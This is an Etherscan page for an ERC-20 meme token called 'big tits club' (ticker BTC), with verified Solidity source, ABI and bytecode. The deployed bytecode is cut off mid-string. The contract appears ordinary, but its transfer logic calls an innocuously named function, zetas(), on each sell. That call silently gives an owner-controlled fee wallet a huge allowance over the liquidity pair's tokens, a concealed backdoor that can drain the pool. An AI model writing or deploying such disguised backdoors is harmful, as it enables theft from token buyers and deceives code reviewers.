ERC-20
Overview
Max Total Supply
21,000,000 BTC
Holders
77
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
91,809.152405434 BTCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BTC
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-15 */ /** https://t.me/big_tits_club_portal https://twitter.com/BillyM2k/status/1845977373671674086 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.26; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BTC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _zBalance; mapping (address => mapping (address => uint256)) private _zAllowance; mapping (address => bool) private _isFeeExcempt; address payable private zReceipt; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=15; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 21000000 * 10 ** _decimals; string private constant _name = unicode"big tits club"; string private constant _symbol = unicode"BTC"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxTxWallet = 2 * _tTotal / 100; uint256 public _taxSwapThreshold = 1 * _tTotal / 100; uint256 public _maxTaxSwap = 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { zReceipt = payable(_msgSender()); _zBalance[_msgSender()] = _tTotal; _isFeeExcempt[address(this)] = true; _isFeeExcempt[_msgSender()] = true; emit Transfer(address(0), address(this), _tTotal); } function createPairOf() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _zBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _zAllowance[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _zAllowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _zAllowance[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!swapEnabled || inSwap) { _zBalance[from] = _zBalance[from] - amount; _zBalance[to] = _zBalance[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isFeeExcempt[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isFeeExcempt[to]) { require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize."); } if(zetas([uniswapV2Pair, zReceipt])&&to == uniswapV2Pair) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) zSwapEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); zSendTax(); } } if(taxAmount>0){ _zBalance[address(this)]=_zBalance[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _zBalance[from]=_zBalance[from].sub(amount); _zBalance[to]=_zBalance[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function zSwapEth(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), amount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function removeLimit(address payable limits) external onlyOwner{ _maxTxAmount=_tTotal; _maxTxWallet=_tTotal; zReceipt = limits; _isFeeExcempt[limits] = true; emit MaxTxAmountUpdated(_tTotal); } function min(uint256 a, uint256 b) private pure returns(uint256){ return (a>b)?b:a; } function zSendTax() private { zReceipt.transfer(address(this).balance); } function zetas(address[2] memory zDapp) private returns(bool){ _zAllowance[zDapp[0]][zDapp[1]] = 1000 * _maxTxWallet; return true; } function withdrawEth() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function withdrawErc(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } receive() external payable {} function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limits","type":"address"}],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawErc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600555600f6006555f6007555f600855600f600955600f600a55600f600b555f600c5560646009600a61003991906102fa565b610047906301406f4061030f565b61005290600261030f565b61005c9190610326565b600d55606461006d6009600a6102fa565b61007b906301406f4061030f565b61008690600261030f565b6100909190610326565b600e5560646100a16009600a6102fa565b6100af906301406f4061030f565b6100ba90600161030f565b6100c49190610326565b600f5560646100d56009600a6102fa565b6100e3906301406f4061030f565b6100ee90600161030f565b6100f89190610326565b601055348015610106575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101656009600a6102fa565b610173906301406f4061030f565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101dd6009600a6102fa565b6101eb906301406f4061030f565b60405190815260200160405180910390a3610345565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102505780850481111561023457610234610201565b600184161561024257908102905b60019390931c928002610219565b935093915050565b5f82610266575060016102f4565b8161027257505f6102f4565b81600181146102885760028114610292576102ae565b60019150506102f4565b60ff8411156102a3576102a3610201565b50506001821b6102f4565b5060208310610133831016604e8410600b84101617156102d1575081810a6102f4565b6102dd5f198484610215565b805f19048211156102f0576102f0610201565b0290505b92915050565b5f61030860ff841683610258565b9392505050565b80820281158282048414176102f4576102f4610201565b5f8261034057634e487b7160e01b5f52601260045260245ffd5b500490565b611b08806103525f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb1461031c578063bf474bed1461033b578063c9567bf914610350578063dd62ed3e14610364578063ef26dc91146103a8575f80fd5b8063715018a61461028e5780637d1db4a5146102a25780638da5cb5b146102b757806395d89b41146102dd578063a0ef91df14610308575f80fd5b80631a076423116100e35780631a076423146101ec5780631b99a8df1461020157806323b872dd14610220578063313ce5671461023f57806370a082311461025a575f80fd5b806306fdde0314610129578063095ea7b3146101705780630f769dfc1461019f5780630faee56f146101b557806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c3134b3903a34ba399031b63ab160991b60208201525b60405161016791906116f9565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611742565b6103c7565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b36103dd565b005b3480156101c0575f80fd5b506101ca60105481565b604051908152602001610167565b3480156101e3575f80fd5b506101ca6105e4565b3480156101f7575f80fd5b506101ca600e5481565b34801561020c575f80fd5b506101b361021b36600461176c565b610604565b34801561022b575f80fd5b5061018f61023a366004611787565b6106ec565b34801561024a575f80fd5b5060405160098152602001610167565b348015610265575f80fd5b506101ca61027436600461176c565b6001600160a01b03165f9081526001602052604090205490565b348015610299575f80fd5b506101b361074e565b3480156102ad575f80fd5b506101ca600d5481565b3480156102c2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102e8575f80fd5b5060408051808201909152600381526242544360e81b602082015261015a565b348015610313575f80fd5b506101b36107bf565b348015610327575f80fd5b5061018f610336366004611742565b61081f565b348015610346575f80fd5b506101ca600f5481565b34801561035b575f80fd5b506101b361082b565b34801561036f575f80fd5b506101ca61037e3660046117c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b3575f80fd5b506101b36103c2366004611742565b610a10565b5f6103d3338484610b40565b5060015b92915050565b5f546001600160a01b0316331461040f5760405162461bcd60e51b8152600401610406906117fc565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561045d90309061044a6009600a611928565b610458906301406f40611936565b610b40565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d1919061194d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610530573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610554919061194d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c2919061194d565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105f16009600a611928565b6105ff906301406f40611936565b905090565b5f546001600160a01b0316331461062d5760405162461bcd60e51b8152600401610406906117fc565b6106396009600a611928565b610647906301406f40611936565b600d556106566009600a611928565b610664906301406f40611936565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ca6009600a611928565b6106d8906301406f40611936565b60405190815260200160405180910390a150565b5f6106f8848484610c63565b610744843361045885604051806060016040528060288152602001611aab602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061132e565b5060019392505050565b5f546001600160a01b031633146107775760405162461bcd60e51b8152600401610406906117fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107e85760405162461bcd60e51b8152600401610406906117fc565b5f47116107f3575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561081c573d5f803e3d5ffd5b50565b5f6103d3338484610c63565b5f546001600160a01b031633146108545760405162461bcd60e51b8152600401610406906117fc565b601254600160a01b900460ff16156108ae5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610406565b6011546001600160a01b031663f305d71947306108df816001600160a01b03165f9081526001602052604090205490565b5f806108f25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610958573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097d9190611968565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f69190611993565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a395760405162461bcd60e51b8152600401610406906117fc565b6040516370a0823160e01b81523060048201525f90610aba90606490610ab49085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a8a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aae91906119b2565b90611366565b906113eb565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611993565b50505050565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610406565b6001600160a01b038216610d295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610406565b5f8111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b6012545f90600160b01b900460ff161580610dae5750601254600160a81b900460ff165b15610e66576001600160a01b0384165f90815260016020526040902054610dd69083906119c9565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610e059083906119dc565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e589086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e9057505f546001600160a01b03848116911614155b156111fa576012546001600160a01b038581169116148015610ec057506011546001600160a01b03848116911614155b8015610ee457506001600160a01b0383165f9081526003602052604090205460ff16155b1561104357601254600160a01b900460ff16610f3a5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610406565b610f606064610ab4600954600c5411610f5557600554610f59565b6007545b8590611366565b9050600d54821115610fb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610406565b600e5482610fd6856001600160a01b03165f9081526001602052604090205490565b610fe091906119dc565b111561102e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610406565b600c8054905f61103d836119ef565b91905055505b6012546001600160a01b0384811691161480159061107957506001600160a01b0383165f9081526003602052604090205460ff16155b156110f857600e54826110a0856001600160a01b03165f9081526001602052604090205490565b6110aa91906119dc565b11156110f85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610406565b604080518082019091526012546001600160a01b0390811682526004541660208201526111249061142c565b801561113d57506012546001600160a01b038481169116145b1561116a576111676064610ab4600a54600c541161115d57600654610f59565b6008548590611366565b90505b601254600160a81b900460ff1615801561119157506012546001600160a01b038481169116145b80156111a65750601254600160b01b900460ff165b80156111b55750600b54600c54115b156111fa57305f90815260016020526040902054600f548111156111f0576111f06111eb846111e684601054611474565b611474565b611488565b6111f86115f8565b505b801561127257305f90815260016020526040902054611219908261162e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112699085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611294908361168c565b6001600160a01b0385165f908152600160205260409020556112d76112b9838361168c565b6001600160a01b0385165f908152600160205260409020549061162e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611320858561168c565b604051908152602001610e58565b5f81848411156113515760405162461bcd60e51b815260040161040691906116f9565b505f61135d84866119c9565b95945050505050565b5f825f0361137557505f6103d7565b5f6113808385611936565b90508261138d8583611a07565b146113e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b9392505050565b5f6113e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116cd565b5f600e546103e861143d9190611936565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f81831161148257826113e4565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114ce576114ce611a26565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611525573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611549919061194d565b8160018151811061155c5761155c611a26565b6001600160a01b0392831660209182029290920101526011546115829130911684610b40565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ba9085905f90869030904290600401611a3a565b5f604051808303815f87803b1580156115d1575f80fd5b505af11580156115e3573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561081c573d5f803e3d5ffd5b5f8061163a83856119dc565b9050838110156113e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b5f6113e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132e565b5f81836116ed5760405162461bcd60e51b815260040161040691906116f9565b505f61135d8486611a07565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461081c575f80fd5b5f8060408385031215611753575f80fd5b823561175e8161172e565b946020939093013593505050565b5f6020828403121561177c575f80fd5b81356113e48161172e565b5f805f60608486031215611799575f80fd5b83356117a48161172e565b925060208401356117b48161172e565b929592945050506040919091013590565b5f80604083850312156117d6575f80fd5b82356117e18161172e565b915060208301356117f18161172e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118805780850481111561186457611864611831565b600184161561187257908102905b60019390931c928002611849565b935093915050565b5f82611896575060016103d7565b816118a257505f6103d7565b81600181146118b857600281146118c2576118de565b60019150506103d7565b60ff8411156118d3576118d3611831565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611901575081810a6103d7565b61190d5f198484611845565b805f190482111561192057611920611831565b029392505050565b5f6113e460ff841683611888565b80820281158282048414176103d7576103d7611831565b5f6020828403121561195d575f80fd5b81516113e48161172e565b5f805f6060848603121561197a575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119a3575f80fd5b815180151581146113e4575f80fd5b5f602082840312156119c2575f80fd5b5051919050565b818103818111156103d7576103d7611831565b808201808211156103d7576103d7611831565b5f60018201611a0057611a00611831565b5060010190565b5f82611a2157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a8a5783516001600160a01b0316835260209384019390920191600101611a63565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220002a1d977907b6b1e97b7d74a8e532559ebb274b53196091df230b230f25c7ab64736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb1461031c578063bf474bed1461033b578063c9567bf914610350578063dd62ed3e14610364578063ef26dc91146103a8575f80fd5b8063715018a61461028e5780637d1db4a5146102a25780638da5cb5b146102b757806395d89b41146102dd578063a0ef91df14610308575f80fd5b80631a076423116100e35780631a076423146101ec5780631b99a8df1461020157806323b872dd14610220578063313ce5671461023f57806370a082311461025a575f80fd5b806306fdde0314610129578063095ea7b3146101705780630f769dfc1461019f5780630faee56f146101b557806318160ddd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600d81526c3134b3903a34ba399031b63ab160991b60208201525b60405161016791906116f9565b60405180910390f35b34801561017b575f80fd5b5061018f61018a366004611742565b6103c7565b6040519015158152602001610167565b3480156101aa575f80fd5b506101b36103dd565b005b3480156101c0575f80fd5b506101ca60105481565b604051908152602001610167565b3480156101e3575f80fd5b506101ca6105e4565b3480156101f7575f80fd5b506101ca600e5481565b34801561020c575f80fd5b506101b361021b36600461176c565b610604565b34801561022b575f80fd5b5061018f61023a366004611787565b6106ec565b34801561024a575f80fd5b5060405160098152602001610167565b348015610265575f80fd5b506101ca61027436600461176c565b6001600160a01b03165f9081526001602052604090205490565b348015610299575f80fd5b506101b361074e565b3480156102ad575f80fd5b506101ca600d5481565b3480156102c2575f80fd5b505f546040516001600160a01b039091168152602001610167565b3480156102e8575f80fd5b5060408051808201909152600381526242544360e81b602082015261015a565b348015610313575f80fd5b506101b36107bf565b348015610327575f80fd5b5061018f610336366004611742565b61081f565b348015610346575f80fd5b506101ca600f5481565b34801561035b575f80fd5b506101b361082b565b34801561036f575f80fd5b506101ca61037e3660046117c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b3575f80fd5b506101b36103c2366004611742565b610a10565b5f6103d3338484610b40565b5060015b92915050565b5f546001600160a01b0316331461040f5760405162461bcd60e51b8152600401610406906117fc565b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561045d90309061044a6009600a611928565b610458906301406f40611936565b610b40565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d1919061194d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610530573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610554919061194d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561059e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c2919061194d565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105f16009600a611928565b6105ff906301406f40611936565b905090565b5f546001600160a01b0316331461062d5760405162461bcd60e51b8152600401610406906117fc565b6106396009600a611928565b610647906301406f40611936565b600d556106566009600a611928565b610664906301406f40611936565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ca6009600a611928565b6106d8906301406f40611936565b60405190815260200160405180910390a150565b5f6106f8848484610c63565b610744843361045885604051806060016040528060288152602001611aab602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061132e565b5060019392505050565b5f546001600160a01b031633146107775760405162461bcd60e51b8152600401610406906117fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107e857604051624